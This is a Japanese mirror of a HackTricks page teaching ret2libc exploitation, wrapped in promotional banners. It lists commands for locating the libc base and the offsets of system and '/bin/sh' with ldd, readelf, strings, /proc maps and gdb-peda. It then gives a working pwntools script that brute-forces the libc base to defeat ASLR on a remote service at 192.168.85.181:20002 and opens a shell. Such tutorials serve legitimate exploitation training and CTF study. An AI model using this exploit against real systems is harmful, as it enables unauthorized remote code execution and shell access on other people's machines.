mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
4.6 KiB
4.6 KiB
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Family、当社の独占的な NFTs コレクションを発見する
- 💬 Discordグループ または telegramグループ に 参加 または Twitter 🐦 @hacktricks_live を フォロー してください。
- ハッキングトリックを共有するために HackTricks と HackTricks Cloud のGitHubリポジトリにPRを提出する。
脆弱なバイナリを見つけ、Ret2Libを使用してそれを攻撃できると考えている場合、以下は従うことができるいくつかの基本的な手順です。
ホスト内にいる場合
libcのアドレスを見つけることができます
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
ASLRがlibcのアドレスを変更しているかどうかを確認したい場合は、次のようにします:
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
システム関数のオフセットを取得します
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
"/bin/sh"のオフセットを取得します
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
/proc/<PID>/maps
プロセスが子プロセスを作成している場合(ネットワークサーバーなど)、そのファイルを読み取ろうとしてみてください(おそらくroot権限が必要になるでしょう)。
ここで、プロセス内でlibcがどこにロードされているかと、プロセスの各子プロセスにどこにロードされるかが正確にわかります。
この場合、0xb75dc000にロードされています(これがlibcのベースアドレスになります)
gdb-pedaを使用する
gdb-pedaを使用して、system関数、exit関数、および文字列**"/bin/sh"**のアドレスを取得します:
p system
p exit
find "/bin/sh"
ASLRのバイパス
libcのベースアドレスをブルートフォースしてみることができます。
for off in range(0xb7000000, 0xb8000000, 0x1000):
コード
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- **💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローする。
- ハッキングトリックを共有するために、PRを HackTricks および HackTricks Cloud githubリポジトリに提出してください。